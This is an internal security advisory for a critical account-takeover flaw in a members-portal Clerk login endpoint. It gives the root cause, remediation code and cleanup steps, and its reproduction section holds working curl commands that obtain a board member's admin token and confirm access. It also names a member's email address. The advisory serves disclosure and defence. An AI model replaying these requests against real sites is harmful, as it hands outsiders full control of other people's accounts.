

WEB-001 – Account Takeover via Unverified Email in Clerk Login

Severity: Critical (CVSS 3.1: 9.1 – `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`)
Status: Confirmed in production (reproduced against a consented test account)
Component: `apps/admin-api` – `POST /api/auth/clerk-login`
Discovered: 2026-10-09 (internal security review)

1. Summary

The members-portal login endpoint `POST /api/auth/clerk-login` verifies the Clerk JWT correctly, but then **links the session to a client-supplied `body.email` value that is never cross-checked against the verified identity.**

Because Clerk sign-up is open (any Google account can obtain a valid token for this instance), **any unauthenticated outsider can obtain a fully logged-in session for any member account – including `power_level 100` board accounts – simply by submitting that member's email address.** No member credentials, no prior access, and no membership are required.

The link is also persistent: the attack writes the attacker's Clerk `sub` onto the victim's user row, so the attacker's Google account can thereafter log in as the victim through the normal "Sign in with Google" button with no further exploitation.

2. Affected code

File: `apps/admin-api/index.ts`, handler starting at `app.post("/api/auth/clerk-login", ...)`.

Step	Line	Behaviour
JWT verified via <code>@clerk/backend</code>	~5240	<code>verifyToken(clerkToken, { secretKey })</code> – correct

Step	Line	Behaviour
Attacker identity taken from verified token	~5243	<code>clerkUserId = jwtPayload.sub</code> — correct
Primary lookup by <code>clerk_user_id</code>	~5249–5253	correct
Fallback links by unverified <code>body.email</code>	~5256–5263	root cause
Force-links attacker <code>sub</code> , sets <code>oauth_enabled = 1</code>	~5265–5272	persists takeover; defeats the gate below
<code>oauth_enabled</code> gate (already defeated in-memory)	~5286	ineffective
Existing session token reused and returned	~5297–5313	returns the victim's real admin token

The email used for linking comes from the request body, not from the verified `jwtPayload`. That is the entire bug.

3. Preconditions

1. **Open Clerk sign-up** — confirmed: a brand-new, non-member Google account received a validly-signed token for `clerk.180dcvitc.org`. (Evidence: the endpoint returned `403 "not linked to any 180DC member"`, not `401 "Invalid Clerk token"` — i.e. verification succeeded for a non-member.)
 2. The attacker's Clerk `sub` is not already linked to a member row (true for any fresh/outsider account).
 3. The target email exists in the `users` table.
-

4. Reproduction

Run against a consented test account only. The board member who owns the target account authorized this test.

Attacker: a non-member Google account (`sub = user_...`, redacted).

Target: `lrkevindaniel@gmail.com` (board member test account, Technical Director, `power_level 100`).

Step 1 – Obtain a valid Clerk token as a non-member

Sign into `https://180dcvitc.org/` with the non-member Google account, then in the browser console:

```
await window.Clerk.session.getToken()
```

(The token is ~60s-lived; use it immediately.)

Step 2 – Send the crafted login request

```
TOKEN="<FRESH_NON_MEMBER_CLERK_JWT>"
curl -s -X POST https://180dcvitc.org/api/auth/clerk-login \
-H "Content-Type: application/json" \
-d "{\"clerkToken\":\"$TOKEN\",\"email\":\"lrkevindaniel@gmail.com\"}"
```

Observed response (token value redacted)

```
{
  "success": true,
  "token": "<REDACTED – real board admin token, now rotated>",
  "email": "lrkevindaniel@gmail.com",
  "name": "Kevin",
  "roleId": "technical_director",
  "roleName": "Technical Director",
  "powerLevel": 100,
  "departmentId": "tech"
}
```

A non-member outsider received a working session token for a `power_level 100` account. Note the returned `token` is the victim's **existing** admin token (reused per the logic at ~line 5297), so the attacker obtains the victim's real long-lived credential, not merely a fresh session.

Step 3 – Confirm board-level access

```
curl -s https://180dcvitc.org/api/users -H "Authorization: Bearer <token->
```

Returns the full user directory (a `power_level >= 100` -gated endpoint) → board access confirmed.

Step 4 – Persistence

The victim row now has `clerk_user_id = <attacker sub>` and `oauth_enabled = 1`.

The attacker's Google account can subsequently log in as the victim through the normal "Sign in with Google" button – no crafted request needed – until the linkage is reset.

5. Impact

- **Unauthenticated** → **full account takeover** of any member, up to `power_level 100` (board: Chairperson, Vice Chairperson, Secretary, directors).
 - Exposure of the victim's **real reusable admin token**.
 - **Persistent** backdoor via the attacker's linked Google account.
 - Access to all board-gated functionality: user management, email/newsletter broadcast, member data, maintenance mode, etc.
-

6. Remediation

Primary fix – never trust `body.email`. Derive the email from the verified identity and link only on a verified match.

Recommended approach using `@clerk/backend`:

```
import { verifyToken, createClerkClient } from "@clerk/backend";

const jwtPayload = await verifyToken(clerkToken, { secretKey: clerkSecret
const clerkUserId = jwtPayload.sub;
if (!clerkUserId) return c.json({ error: "Invalid Clerk token" }, 401);

// Primary lookup by already-linked clerk_user_id (unchanged)
let user = await c.env.DB.prepare(
```

```

"SELECT u.*, r.power_level, r.name as role_name FROM users u JOIN roles
).bind(clerkUserId).first();

// Fallback: link ONLY on the Clerk-verified primary email
if (!user) {
  const clerk = createClerkClient({ secretKey: clerkSecret });
  const clerkUser = await clerk.users.getUser(clerkUserId);
  const primary = clerkUser.emailAddresses.find(
    (e) => e.id === clerkUser.primaryEmailAddressId &&
      e.verification?.status === "verified",
  );
  const verifiedEmail = primary?.emailAddress?.toLowerCase();
  if (verifiedEmail) {
    user = await c.env.DB.prepare(
      "SELECT u.*, r.power_level, r.name as role_name FROM users u JOIN r
    ).bind(verifiedEmail).first();
    // Link only if this member had explicitly enabled Google login,
    // OR link without force-enabling oauth. Do NOT unconditionally set c
    if (user) {
      await c.env.DB.prepare(
        "UPDATE users SET clerk_user_id = ? WHERE id = ? AND clerk_user_i
      ).bind(clerkUserId, user.id).run();
    }
  }
}

```

Key changes:

1. **Email comes from** `clerk.users.getUser(sub)` , not `body.email` . `body.email` should be ignored entirely.
2. **Do not force** `oauth_enabled = 1` . Honour the user's existing setting; a user who disabled Google login must not be silently re-enabled.
3. Only link when `clerk_user_id IS NULL` (don't overwrite an existing link).

Defense-in-depth (independent of the code fix):

- **Restrict Clerk sign-up** to an allowlist of member emails so outsiders cannot obtain tokens at all.
- Consider shorter-lived / single-use session tokens instead of reusing a long-lived `admin_tokens` row on OAuth login.

7. Post-test cleanup performed

- ☐ Victim's exposed admin token revoked (rotate-token / `DELETE FROM admin_tokens WHERE email = 'lrkevindaniel@gmail.com'`).
- ☐ Victim row linkage reset: `UPDATE users SET clerk_user_id = NULL, oauth_enabled = 0 WHERE email = 'lrkevindaniel@gmail.com'` (or restored to prior values).
- ☐ Non-member test Google account's link removed.
- ☐ Live token scrubbed from shell history and transcripts.

The real token value returned during this test is intentionally omitted from this document and must be considered compromised until rotated.

8. References

- OWASP API Security Top 10 – **API2:2023 Broken Authentication**
- OWASP WSTG – Authentication / Authorization testing
- Code: `apps/admin-api/index.ts` → `POST /api/auth/clerk-login`